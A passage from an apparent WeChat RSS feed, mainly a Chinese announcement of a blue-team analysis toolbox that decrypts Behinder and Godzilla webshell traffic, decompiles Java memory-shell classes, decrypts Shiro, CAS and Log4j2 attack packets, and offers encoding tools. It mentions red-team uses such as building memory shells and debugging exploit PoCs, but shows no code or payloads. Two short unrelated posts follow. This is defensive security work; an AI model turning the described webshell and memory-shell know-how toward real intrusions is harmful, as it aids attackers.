style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="color: rgb(223, 34, 34);font-size: 16px;font-weight: bold;letter-spacing: 1px;"><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(223, 34, 34);font-size: 16px;">冰蝎及哥斯拉webshell流量解密功能</span></strong></span></h2></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">编写这个功能耗费了我很大的精力，对于冰蝎webshell，从流量中找到秘钥即可解密。对于哥斯拉webshell，目前只支持java型webshell流量解密，其它功能后续再加上。由于哥斯拉低版本的1.x-2.x与3.x-4.x版本的流量加密过程稍微有点不一样，因此解密功能分开写了。暂不支持冰蝎4.x的解密，后续会加上。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5ace5f68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCG09gCJHX3kiaZFNJRkNunaXOuiao71NpnH9OGDewZI142N4WTB0uEiaAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">如下图所示，可以清晰看到攻击者具体进行了哪些操作，方便大家在编写蓝队分析报告，直观地将危害性反馈给甲方客户。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=63e0fa65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPC9IZTapDWqRSfElp4ic13NNe0SKoGZjBvy7rnkkzzJIYdUtm1uTQ6kYg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="color: rgb(223, 34, 34);font-weight: bold;letter-spacing: 1px;"><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 16px;color: rgb(223, 34, 34);">新增5种Java内存马class文件反编译功能</span></strong></span></h2></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">通过调用Intellij Idea、CFR、Procyon、JD-Core、JDK等5种反编译工具接口，分别对Base64加密的class文件、转成Byte数组的class文件、BECL编码的class文件、Base64编码+Gzip编码的class文件、原版class文件反编译成java代码，方便蓝队人员分析异常流量中的内存马代码。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">当然，</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">此功能对于红队人员也特别方便</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，方便大家编写tomcat、springboot、weblogic内存马时进行class文件反编译对比分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(223, 34, 34);font-size: 14px;"> 1 </span></strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;"> 如下图示所示，程序对Base64加密的内存马class文件进行反编译分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=809cbf96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCmJIx24euH1Hx08j2Jpolrd7ODgPibH8icGOkPwmhnK5bPozTykURpuOg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 2 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;"> 如下图示所示，程序对Byte数组的内存马class文件进行反编译分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=22937f20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCkff3AWCsN8tga6pGma9bia0TtQ4zkygMkkGmvtlKrhOsSqvPGOQE09g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 3 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;"> 如下图示所示，程序对BECL编码加密的内存马class文件进行分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=275be356&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCB2pr378SibK5PkDPDYXxcLeNibGzfWBMOraAI6D6bTNbay3zN2iaQFViaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 4 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;"> 如下图示所示，程序对Base64+Gzip压缩的内存马class文件进行反编译分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6c1f0080&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCKTMU778W7PibrM1KRIia7hZmE5icltB84Pd8jllNmMGtm3wPO4J37VH6w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 5 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;"> 如下图示所示，程序对class文件进行反编译分析。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=45d89b39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCUibwFD8Aic8PwAgbA1ZAgiaMl5b5A59PHvSyZ6oZgP3jp2r0WCsG6icp7g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="color: rgb(223, 34, 34);font-weight: bold;font-size: 16px;letter-spacing: 1px;"><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 16px;letter-spacing: 1px;"><strong><span style="font-size: 16px;color: rgb(223, 34, 34);">在Jar包中搜索指定类名</span></strong></span></h2></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">对于蓝队人员，此功能可以在指定的jar包目录中筛选出含有恶意类名的jar包文件，</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">现在很多红队人员制作的不死内存马，会将jar包中的class文件修改掉，关机重启后内存马仍然可用</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，那么这个分析功能会非常有用。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">对于红队人员，在编写调试0day或者Nday的POC时，比如说weblogic中间件，它所包含的依赖jar包可能有上千个，</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">查找存在漏洞的类究竟依赖于哪个jar包是非常头痛的一件事</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，这个工具可以帮您解决这个问题。在编写调试weblogic的poc时，ABC_123就是使用这个功能查找指定jar包依赖的。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2b42c7bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPC26J5RYFSdHp7tDyEPNybGKSX5eKlkcuYnfCxmq0FFlfZRG8YOyrpBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-weight: bold;color: rgb(223, 34, 34);letter-spacing: 1px;"><h2 style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(223, 34, 34);letter-spacing: 1px;"><strong><span style="color: rgb(223, 34, 34);font-size: 16px;">解密Shiro数据包/CAS数据包/Log4j2数据包功能</span></strong></span></h2></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">对于设备告警的Shiro反序列化攻击行为，部分蓝队分析人员，对Shiro反序列化攻击做不了研判工作，</span><span style="font-size: 14px;color: rgb(223, 34, 34);"><strong>难以辨别是否是攻击行为</strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;">，还是正常的业务行为，还是设备误报。于是我在解密数据包的同时，加入了数据包分析功能，可以快速研判是否有反序列化攻击行为。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bc37b593&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCo24EqLk19owib14Z5GEq36jzxjFQ54mzfSJcTvwZhUnOyWqK8Of4pCA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">如下图所示，该功能可以手工指定key对shiro数据包进行分析。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47314814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=191fde58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPC6dxxUesCxhWbsR7nSvaSxQ2GPNT7UXCdcT5PxG24MDAZv4xfLJYOicA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">该功能可以</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">解密日常遇到的攻击者用于绕过waf的加密混淆的log4j2的payload</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，通过此功能，蓝队分析人员可以得到攻击者的一个外网ip地址。如果遇到解不了的payload，记得公众号给我留言。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.46944444444444444" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=69c75daa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCy1eKSDYuHbgUav8ZE6GbQgGG72ZJbOFcl2cdheDLaF8MlxiaicSITnjA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">部分设备遇到CAS数据包就会告警，蓝队人员又无法确定是否是误报，本功能就是为了解决这个问题而写的，</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">使用CAS默认秘钥对数据包进行解密</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，解密后就可以判断出是否是反序列化攻击了。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8fde895e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPClotxiauAHbOWKJHVkaS3gQmaibXJPdYEJreRvc585JFX0GAibP0wal29g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><ul class="list-paddingleft-1" style="list-style-type: square;"><li style="font-size: 16px;color: rgb(223, 34, 34);font-weight: bold;letter-spacing: 1px;"><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 16px;color: rgb(223, 34, 34);">编码/解码工具</span></strong></span><o:p></o:p></p></li></ul><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;">在蓝队分析工作中，不少朋友反映没有一款好用的编码/解码工具，不是功能有bug，就是功能不全。比如说最简单的URL编码、16进制的Hex编码、Base64编码，</span><strong><span style="font-size: 14px;color: rgb(223, 34, 34);">很多工具就没有考虑到中文字符的GB2312、UTF-8编码问题</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">，导致解密结果不正确或者是乱码。于是我仔细研读了网上的关于编码/解码的文章，对常用的编码/解码功能进行调试，写成了如下功能。看后续大家反馈，如果好用的话，我可以把“编码/解码”功能单独拎出来写一个工具，主要功能如下。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(223, 34, 34);font-size: 14px;"> 1 </span></strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;">  更改软件界面，加入GB2312、UTF-8、GBK、BIG5、ISO-8859-1、GB18030等编码库，解决中文汉字在编码解码过程中产生的乱码问题。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 2 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">  将“becl编码文件功能”中的becl编码类更换为“回忆飘如雪”师傅编写的Java类，解决部分JDK由于缺失相应的class文件而无法Becl编码的问题。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 3 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">  新增“Hex编码二进制文件”功能，可以将二进制文件编码成16进制格式。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 4 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">  将Base64编码功能统一更换为第三方jar包，使其通用性更强。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);"> 5 </span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;">  支持将二进制文件转为byte数组格式。</span></span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4824074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=50bd1ad4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPCgwjnGzgprKkSnL0JiaTolmNvRqjB3kPUfftdFttzHVq6c8Q1fAQYBow%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">同时还可以对二进制文件进行base64编码、hex16进制编码、BECL编码、转为byte数组等操作。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5777777777777777" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3d5c6e97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450AcpiaO0gVPcbJdW4vPyMdPC1X0RgNSe3zXYMCFI07gbG9o09tOLTwfdMGyibP1Zo74icCvqZk1XTG3Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(223, 34, 34);"><strong><span style="font-size: 14px;">关注<strong style="color: rgb(223, 34, 34);letter-spacing: 1px;white-space: normal;"><span style="font-size: 14px;">公众号</span></strong>&#34;希潭实验室”，回复数字“0416”，即可得到此蓝队辅助工具箱V0.52的下载地址</span></strong></span><span style="color: rgb(68, 68, 68);font-size: 14px;">。</span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="letter-spacing: 1px;"><span style="color: rgb(68, 68, 68);font-size: 14px;"><br/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(255, 255, 255);background-color: rgb(223, 34, 34);letter-spacing: 1px;"><strong><span style="background-color: rgb(223, 34, 34);color: rgb(255, 255, 255);font-size: 18px;"> Part3 总结 </span></strong></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">1.</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">  后续还会继续更新这个工具，有好的建议可以在公众号后台给我留言。</span></p><p style="margin-top: 16px;margin-bottom: 16px;"><strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">2.</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">  冰蝎4.x、哥斯拉数据包解密功能，后续有时间会更新。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">3.</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">  后续会加入一些威胁情报检索功能，敬请关注。</span></p><p style="margin-top: 16px;margin-bottom: 16px;"><strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">4.</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">  </span><strong><span style="font-size: 14px;letter-spacing: 1px;color: rgb(223, 34, 34);">关注公众号回复“2022”，即可得到“2022年ABC123公众号年刊”的PDF电子书下载地址</span></strong><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;">。</span><o:p></o:p></p><p style="margin-top: 16px;margin-bottom: 16px;"><span style="color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="margin-top: 16px;margin-bottom: 16px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&amp;mid=2247485030&amp;idx=1&amp;sn=8c0dd91d1fc54e4457ab13183e6cc39f&amp;chksm=c25fc91df528400b194be8c1c91c60f896575dd859950bfa99f631d73d4255c418ca172ea09d&amp;scene=21#wechat_redirect" textvalue="第51篇：某运营商外网打点到内网横向渗透的全过程" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="color: rgb(0, 122, 170);"><strong><span style="color: rgb(0, 122, 170);font-size: 14px;letter-spacing: 1px;">第51篇：某运营商外网打点到内网横向渗透的全过程</span></strong></span></a></p><p style="margin-top: 16px;margin-bottom: 16px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&amp;mid=2247484850&amp;idx=1&amp;sn=36efc90cdbe0764778c0b980bf8a003e&amp;chksm=c25fcac9f52843df8b5e361c9fce336e3300d71566797cf0f55fa6eabc0c54946933464df694&amp;scene=21#wechat_redirect" textvalue="第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="color: rgb(0, 122, 170);"><strong><span style="color: rgb(0, 122, 170);font-size: 14px;letter-spacing: 1px;">第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）</span></strong></span></a></p><p style="margin-top: 16px;margin-bottom: 16px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&amp;mid=2247484349&amp;idx=1&amp;sn=c23223a0348336daae18acc4a4790bb8&amp;chksm=c25fccc6f52845d03b30faae72d252256434197d1267d713e60b85810f734368f0be61e62a06&amp;scene=21#wechat_redirect" textvalue="第19篇：关于近期cs服务端被反打的原因分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="color: rgb(0, 122, 170);"><strong><span style="color: rgb(0, 122, 170);font-size: 14px;letter-spacing: 1px;">第19篇：关于近期cs服务端被反打的原因分析</span></strong></span></a></p><p style="margin-top: 16px;margin-bottom: 16px;"><br/></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.05333333333333334" data-s="300,640" style="" data-type="png" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=dc6c7c06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOAz0RNU450A5qqg2iaK6KIYYR8y6pF5Rh3JHDibOKOop204nXz618iawdRb8dABicMPtHb2PkJE8x6koJO5HyuwZJQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;margin-top: 16px;margin-bottom: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;color: rgb(68, 68, 68);letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">公众号专注于网络安全技术分享，包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等，每周一篇，99%原创，敬请关注。</strong></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;line-height: 1.6em;margin-top: 16px;margin-bottom: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(68, 68, 68);font-size: 14px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Contact me: 0day123abc#gmail.com(replace # with @)</strong></span></p><p><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe js_wx_tap_highlight" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzkzMjI1NjI3Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/OAz0RNU450A5qqg2iaK6KIYYR8y6pF5Rh3ZzhnLlBLsxYmhicR27SNQibUcpy9mSC4yzwTUaxYwNcia9JibBmAKwIew/0?wx_fmt=png" data-nickname="希潭实验室" data-alias="abc123network" data-signature="ABC_123，2008年入行网络安全，某部委网络安保工作优秀个人，某市局特聘网络安全专家，某高校外聘讲师，某攻防实验室创始人。Struts2检测工具及Weblogic T3/IIOP反序列化工具原创作者，擅长红队攻防，代码审计，内网渗透。" data-from="2" data-is_biz_ban="0" data-origin_num="59" data-isban="0" data-biz_account_status="0" data-index="0"></mp-common-profile></p><p><br/></p><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>




]]></content:encoded>
      <pubDate>Mon, 17 Apr 2023 19:28:03 +0800</pubDate>
    </item>
    <item>
      <title>AI助手ChatGPT接入，欢迎参与公众号互动</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485157&amp;idx=1&amp;sn=cf53958ccad82752a4630fc2decca914</link>
      <description>欢迎来到我们的微信公众号，我们现在接入了ChatGPT，由AI驱动的语言模型，可以提供自然语言处理的服务，与您进行对话式交互。尝试问我任何问题，我将尽力提供准确和有用的答案，帮助您更好地理解和解决问题。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-03-31 14:45</span> <span style="display: inline-block;">河北</span>
</p>

<p>欢迎来到我们的微信公众号，我们现在接入了ChatGPT，由AI驱动的语言模型，可以提供自然语言处理的服务，与您进行对话式交互。尝试问我任何问题，我将尽力提供准确和有用的答案，帮助您更好地理解和解决问题。</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6192ca6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpqYtYiadeLE3vZUtLgEb3BgPK4l6uFJg85oHqfUuBHe2aKvJt0pA9TzadE4od0LcIprr1xddrKUCZQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<div id="js_image_content" class="image_content ">  <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/px3YHTjnicpqYtYiadeLE3vZUtLgEb3BgP7icUdScbssRYpCluAqJ97ibb3fdvkLPpLdrgdicfnF7fS0icdOtMY7iaXZw/0?wx_fmt=jpeg"/></p>



]]></content:encoded>
      <pubDate>Fri, 31 Mar 2023 14:44:50 +0800</pubDate>
    </item>
    <item>
      <title>提醒⚠️近日有大量快递信息泄露，涉及几乎每一个人，请各位提醒家人及朋友谨慎防范陌生来电各种理由的诈骗、推销。</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485144&amp;idx=1&amp;sn=5c87eafe5ab5ee53bcaa7befd14d945e</link>
      <description>提醒⚠️近日有大量快递信息泄露，涉及几乎每一个人，请各位提醒家人及朋友谨慎防范陌生来电各种理由的诈骗、推销。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-02-13 00:12</span> <span style="display: inline-block;">北京</span>
</p>

<p>提醒⚠️近日有大量快递信息泄露，涉及几乎每一个人，请各位提醒家人及朋友谨慎防范陌生来电各种理由的诈骗、推销。</p>



<p>
